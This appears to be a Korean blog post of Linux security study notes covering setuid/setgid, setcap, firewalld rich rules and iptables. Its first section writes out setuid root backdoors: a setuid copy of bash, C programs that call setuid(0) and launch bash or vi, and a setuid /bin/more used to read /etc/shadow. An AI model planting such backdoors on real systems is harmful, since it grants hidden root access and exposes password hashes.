반응형
UID, GID
RealUID, RealGID : 계정이 누구인가를 식별하는 UID, GID
EffectiveUID, EffectiveGID : 어떤 권한을 가진지를 식별하는 UID, GID
Setuid가 설정된 파일을 실행 시, RealUID는 실행자 그대로지만, Effective UID가 일시적으로 파일의 소유자의 권한으로 실행된다.
보안성은 좋지 않을 수 있지만 편의성을 위해서 사용됨.
setuid가 적용된 파일안에서 bash쉘을 실행 시 루트권한으로 실행가능
Sticky bit - 디렉토리에 적용할 수 있음 보(파일의 소유자만 삭제가능)
cp /bin/bash /home/test/bash
chmod 4755 /home/test/bash
vi backdoor.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
gcc -o backdoor backdoor.c
chmod 4755 backdoor
#/bin/more에 setuid를 설정 시, 권한이없는 파일도 읽을 수 있음
chmod 4755 /bin/more
su test
more /etc/shadow
vi vibackdoor.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setuid(0);
setgid(0);
system("/usr/bin/vi");
return 0;
}
gcc -o vibackdoor vibackdoor.c
chmod 4755 vibackdoor
#vi편집기에서 shell 실행 가능
:!/bin/bash
setcap: 프로그램에 특정 권한을 부여하기 위해서 사용됨
ex)
touch /usr/local/bin/myapp
setcap cap_net_bind_service=+ep(ep(effective permit), i도 있는데 inherit 권한 상속) /usr/local/bin/myapp
:1024번까지의 포트를 바인딩 하는 서비스를 허용하고 사용가능하게 하겠다.
(cap_chown, cap_kill 등 여러개 있음)
getcap: 프로그램에 권한을 확인하기 위해서 사용됨
getcap /usr/local/bin/myapp
방화벽 설정
zone파일 확인, zone conf,
cat /usr/lib/firewalld/zones/public.xml
firewall-cmd --get-active-zones
firewall-cmd --get-default-zone
firewall-cmd --set-default-zone=home # default zone 변경
firewall-cmd --add-interface=enp0s3 --zone=public # zone에 interface할당
firewall-cmd --change-interface=enp0s3 --zone=public # zone에 interface 변경
firewall-cmd --permanent --add-port={3306,4567,4568,4444}/tcp #임의의 port (연속적이지 않으면 {,}구분
firewall-cmd --zone=public --add-source=192.168.16.0/24 --permanent # 192.168.16.0/24 대역에서 들어온 패킷 허용
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.100" reject" # ipv4에 192.168.16.100 거부
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.200" port protocol="tcp" port ="80" accept" # 192.168.16.200 출발지 ipv4 tcp 80번포트로 접근 허용
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="192.168.16.150" port protocol="tcp" port="443" log prefix="intrusion_attempt" level="info" accept" # 출발지 192.168.16.150 tcp 443번으로 들어오는 패킷을 허용하나, 탐지가 되면 info level수준에서 로그 기록
#port protocol / port 대신에 service name=""해도 됨
firewalld의 rich-rule
Iptables: 리눅스 방화벽의 일종
dnf install -y iptables-services iptables-utils
iptables -L # List
iptables -F # 내용 초기화
iptables -X # 비어있는 체인 삭제
iptables -t nat -F # type NAT 내용 초기화
iptables -t nat -X # type NAT 체인 삭제
iptables -P INPUT DROP # 기본정책 DROP으로 변경
#살펴보면 INPUT FORWARD OUTPUT 이 있는데 각각
# INPUT 패킷 들어옴 OUTPUT 패킷 나감 FORWARD 패킷 경유
#iptables의 제어 옵션 -A(append)[가장 밑에 추가] -I(insert) -R(replace) -D(delete) -N(new)[새로운 체인] -P(policy) -L(List) -X(비어있는 체인 삭제) -E(체인 이름 변경)
#ex) iptables -A INPUT -s(source) 192.168.16.9 --sport any -p tcp --dport 80 -j DROP
iptables이 kernel단에 Netfilter를 사용함 -> Packet-Filtering Hook
반응형